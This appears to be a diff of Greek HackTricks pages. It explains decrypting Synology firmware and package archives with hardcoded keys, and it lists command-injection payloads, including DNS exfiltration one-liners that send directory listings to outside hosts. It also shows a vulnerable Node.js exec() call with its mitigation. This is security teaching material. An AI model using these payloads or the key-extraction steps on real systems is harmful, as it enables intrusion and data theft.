$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
|
||||||
|
[…]
|
||||||
|
$ ls
|
||||||
|
DiskCompatibilityDB.tar hda1.tgz rd.bin packages/ …
|
||||||
|
```
|
||||||
|
Για `*.spk` μπορείτε να μεταβείτε απευθείας στο βήμα 3.
|
||||||
|
|
||||||
|
## 3. Εξαγωγή των βιβλιοθηκών εξαγωγής Synology
|
||||||
|
|
||||||
|
Η πραγματική λογική αποκρυπτογράφησης βρίσκεται σε:
|
||||||
|
|
||||||
|
* `/usr/syno/sbin/synoarchive` → κύριος περιτύλιγμα CLI
|
||||||
|
* `/usr/lib/libsynopkg.so.1` → καλεί το περιτύλιγμα από το DSM UI
|
||||||
|
* `libsynocodesign.so` → **περιέχει την κρυπτογραφική υλοποίηση**
|
||||||
|
|
||||||
|
Και οι δύο δυαδικοί είναι παρόντες στο rootfs του συστήματος (`hda1.tgz`) **και** στο συμπιεσμένο init-rd (`rd.bin`). Αν έχετε μόνο το PAT μπορείτε να τα αποκτήσετε με αυτόν τον τρόπο:
|
||||||
|
```bash
|
||||||
|
# rd.bin is LZMA-compressed CPIO
|
||||||
|
$ lzcat rd.bin | cpio -id 2>/dev/null
|
||||||
|
$ file usr/lib/libsynocodesign.so
|
||||||
|
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
|
||||||
|
```
|
||||||
|
## 4. Ανάκτηση των σκληρά κωδικοποιημένων κλειδιών (`get_keys`)
|
||||||
|
|
||||||
|
Μέσα στο `libsynocodesign.so`, η συνάρτηση `get_keys(int keytype)` απλά επιστρέφει δύο παγκόσμιες μεταβλητές 128-bit για την ζητούμενη οικογένεια αρχείων:
|
||||||
|
```c
|
||||||
|
case 0: // PAT (system)
|
||||||
|
case 10:
|
||||||
|
case 11:
|
||||||
|
signature_key = qword_23A40;
|
||||||
|
master_key = qword_23A68;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 3: // SPK (applications)
|
||||||
|
signature_key = qword_23AE0;
|
||||||
|
master_key = qword_23B08;
|
||||||
|
break;
|
||||||
|
```
|
||||||
|
* **signature_key** → Δημόσιο κλειδί Ed25519 που χρησιμοποιείται για την επαλήθευση της κεφαλίδας του αρχείου.
|
||||||
|
* **master_key** → Ρίζα κλειδί που χρησιμοποιείται για την εξαγωγή του κλειδιού κρυπτογράφησης ανά αρχείο.
|
||||||
|
|
||||||
|
Πρέπει να εκτελέσετε την εξαγωγή αυτών των δύο σταθερών μόνο μία φορά για κάθε κύρια έκδοση DSM.
|
||||||
|
|
||||||
|
## 5. Δομή κεφαλίδας & επαλήθευση υπογραφής
|
||||||
|
|
||||||
|
`synoarchive_open()` → `support_format_synoarchive()` → `archive_read_support_format_synoarchive()` εκτελεί τα εξής:
|
||||||
|
|
||||||
|
1. Διαβάστε το μαγικό (3 bytes) `0xBFBAAD` **ή** `0xADBEEF`.
|
||||||
|
2. Διαβάστε little-endian 32-bit `header_len`.
|
||||||
|
3. Διαβάστε `header_len` bytes + την επόμενη **0x40-byte Ed25519 υπογραφή**.
|
||||||
|
4. Επαναλάβετε όλες τις ενσωματωμένες δημόσιες κλειδιά μέχρι να επιτύχει το `crypto_sign_verify_detached()`.
|
||||||
|
5. Αποκωδικοποιήστε την κεφαλίδα με **MessagePack**, παράγοντας:
|
||||||
|
```python
|
||||||
|
[
|
||||||
|
data: bytes,
|
||||||
|
entries: [ [size: int, sha256: bytes], … ],
|
||||||
|
archive_description: bytes,
|
||||||
|
serial_number: [bytes],
|
||||||
|
not_valid_before: int
|
||||||
|
]
|
||||||
|
```
|
||||||
|
`entries` αργότερα επιτρέπει στο libarchive να ελέγξει την ακεραιότητα κάθε αρχείου καθώς αποκρυπτογραφείται.
|
||||||
|
|
||||||
|
## 6. Παράγωγο του υποκλειδιού ανά αρχείο
|
||||||
|
|
||||||
|
Από το `data` blob που περιέχεται στην κεφαλίδα MessagePack:
|
||||||
|
|
||||||
|
* `subkey_id` = little-endian `uint64` στη θέση 0x10
|
||||||
|
* `ctx` = 7 bytes στη θέση 0x18
|
||||||
|
|
||||||
|
Το 32-byte **stream key** αποκτάται με libsodium:
|
||||||
|
```c
|
||||||
|
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
|
||||||
|
```
|
||||||
|
## 7. Το προσαρμοσμένο **libarchive** backend της Synology
|
||||||
|
|
||||||
|
Η Synology περιλαμβάνει μια διορθωμένη έκδοση του libarchive που καταχωρεί μια ψεύτικη μορφή "tar" όποτε το magic είναι `0xADBEEF`:
|
||||||
|
```c
|
||||||
|
register_format(
|
||||||
|
"tar", spk_bid, spk_options,
|
||||||
|
spk_read_header, spk_read_data, spk_read_data_skip,
|
||||||
|
NULL, spk_cleanup, NULL, NULL);
|
||||||
|
```
|
||||||
|
### spk_read_header()
|
||||||
|
```
|
||||||
|
- Read 0x200 bytes
|
||||||
|
- nonce = buf[0:0x18]
|
||||||
|
- cipher = buf[0x18:0x18+0x193]
|
||||||
|
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
|
||||||
|
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
|
||||||
|
```
|
||||||
|
Ο αποκρυπτογραφημένος `tar_hdr` είναι μια **κλασική κεφαλίδα TAR POSIX**.
|
||||||
|
|
||||||
|
### spk_read_data()
|
||||||
|
```
|
||||||
|
while (remaining > 0):
|
||||||
|
chunk_len = min(0x400000, remaining) + 0x11 # +tag
|
||||||
|
buf = archive_read_ahead(chunk_len)
|
||||||
|
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
|
||||||
|
remaining -= chunk_len - 0x11
|
||||||
|
```
|
||||||
|
Κάθε **0x18-byte nonce** προστίθεται πριν από το κρυπτογραφημένο κομμάτι.
|
||||||
|
|
||||||
|
Μόλις επεξεργαστούν όλες οι καταχωρίσεις, η libarchive παράγει ένα απολύτως έγκυρο **`.tar`** που μπορεί να αποσυμπιεστεί με οποιοδήποτε τυπικό εργαλείο.
|
||||||
|
|
||||||
|
## 8. Αποκρυπτογραφήστε τα πάντα με το synodecrypt
|
||||||
|
```bash
|
||||||
|
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
|
||||||
|
[+] found matching keys (SPK)
|
||||||
|
[+] header signature verified
|
||||||
|
[+] 104 entries
|
||||||
|
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
|
||||||
|
|
||||||
|
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
|
||||||
|
```
|
||||||
|
`synodecrypt` ανιχνεύει αυτόματα το PAT/SPK, φορτώνει τα σωστά κλειδιά και εφαρμόζει την πλήρη αλυσίδα που περιγράφεται παραπάνω.
|
||||||
|
|
||||||
|
## 9. Κοινές παγίδες
|
||||||
|
|
||||||
|
* Μην **ανταλλάξετε** το `signature_key` και το `master_key` – εξυπηρετούν διαφορετικούς σκοπούς.
|
||||||
|
* Το **nonce** έρχεται *πριν* από το ciphertext για κάθε μπλοκ (κεφαλίδα και δεδομένα).
|
||||||
|
* Το μέγιστο μέγεθος κρυπτογραφημένου τμήματος είναι **0x400000 + 0x11** (libsodium tag).
|
||||||
|
* Τα αρχεία που δημιουργούνται για μια γενιά DSM μπορεί να αλλάξουν σε διαφορετικά σκληρά κωδικοποιημένα κλειδιά στην επόμενη έκδοση.
|
||||||
|
|
||||||
|
## 10. Πρόσθετα εργαλεία
|
||||||
|
|
||||||
|
* [`patology`](https://github.com/sud0woodo/patology) – ανάλυση/εξαγωγή αρχείων PAT.
|
||||||
|
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) – αποκρυπτογράφηση PAT/SPK/άλλων.
|
||||||
|
* [`libsodium`](https://github.com/jedisct1/libsodium) – αναφορά υλοποίησης του XChaCha20-Poly1305 secretstream.
|
||||||
|
* [`msgpack`](https://msgpack.org/) – σειριοποίηση κεφαλίδας.
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
- [Extraction of Synology encrypted archives – Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||||
|
- [synodecrypt on GitHub](https://github.com/synacktiv/synodecrypt)
|
||||||
|
- [patology on GitHub](https://github.com/sud0woodo/patology)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
@ -10,7 +10,7 @@
|
|||||||
|
|
||||||
Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το παρατιθέμενο πλαίσιο** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το παρατιθέμενο πλαίσιο** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
||||||
|
|
||||||
## Εκτέλεση/Εκτέλεση εντολών
|
## Command Injection/Execution
|
||||||
```bash
|
```bash
|
||||||
#Both Unix and Windows supported
|
#Both Unix and Windows supported
|
||||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||||
@ -31,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||||||
```
|
```
|
||||||
### **Περιορισμοί** Bypasses
|
### **Περιορισμοί** Bypasses
|
||||||
|
|
||||||
If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**
|
Αν προσπαθείτε να εκτελέσετε **τυχαίες εντολές μέσα σε μια μηχανή linux** θα σας ενδιαφέρει να διαβάσετε για αυτούς τους **Bypasses:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../linux-hardening/bypass-bash-restrictions/
|
../linux-hardening/bypass-bash-restrictions/
|
||||||
@ -99,7 +99,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||||||
```
|
```
|
||||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||||
```
|
```
|
||||||
Online εργαλεία για να ελέγξετε την εξαγωγή δεδομένων με βάση το DNS:
|
Online εργαλεία για να ελέγξετε την εξαγωγή δεδομένων βάσει DNS:
|
||||||
|
|
||||||
- dnsbin.zhack.ca
|
- dnsbin.zhack.ca
|
||||||
- pingb.in
|
- pingb.in
|
||||||
@ -117,6 +117,28 @@ powershell C:**2\n??e*d.*? # notepad
|
|||||||
../linux-hardening/bypass-bash-restrictions/
|
../linux-hardening/bypass-bash-restrictions/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Node.js `child_process.exec` vs `execFile`
|
||||||
|
|
||||||
|
Όταν ελέγχετε back-ends JavaScript/TypeScript, θα συναντήσετε συχνά το API `child_process` του Node.js.
|
||||||
|
```javascript
|
||||||
|
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||||
|
const { exec } = require('child_process');
|
||||||
|
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
|
||||||
|
/* … */
|
||||||
|
});
|
||||||
|
```
|
||||||
|
`exec()` δημιουργεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνδυάζεται στη συμβολοσειρά.
|
||||||
|
|
||||||
|
**Mitigation:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε επιχείρημα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται κανένα shell:
|
||||||
|
```javascript
|
||||||
|
const { execFile } = require('child_process');
|
||||||
|
execFile('/usr/bin/do-something', [
|
||||||
|
'--id_user', id_user,
|
||||||
|
'--payload', JSON.stringify(payload)
|
||||||
|
]);
|
||||||
|
```
|
||||||
|
Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμη μέσω ενός μη αυθεντικοποιημένου γεγονότος WebSocket που τοποθετούσε δεδομένα ελεγχόμενα από τον επιτιθέμενο στο `id_user`, τα οποία στη συνέχεια ενσωματώνονταν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ιρλανδία 2024).
|
||||||
|
|
||||||
## Λίστα Ανίχνευσης Brute-Force
|
## Λίστα Ανίχνευσης Brute-Force
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -125,7 +147,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
|||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||||
|
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user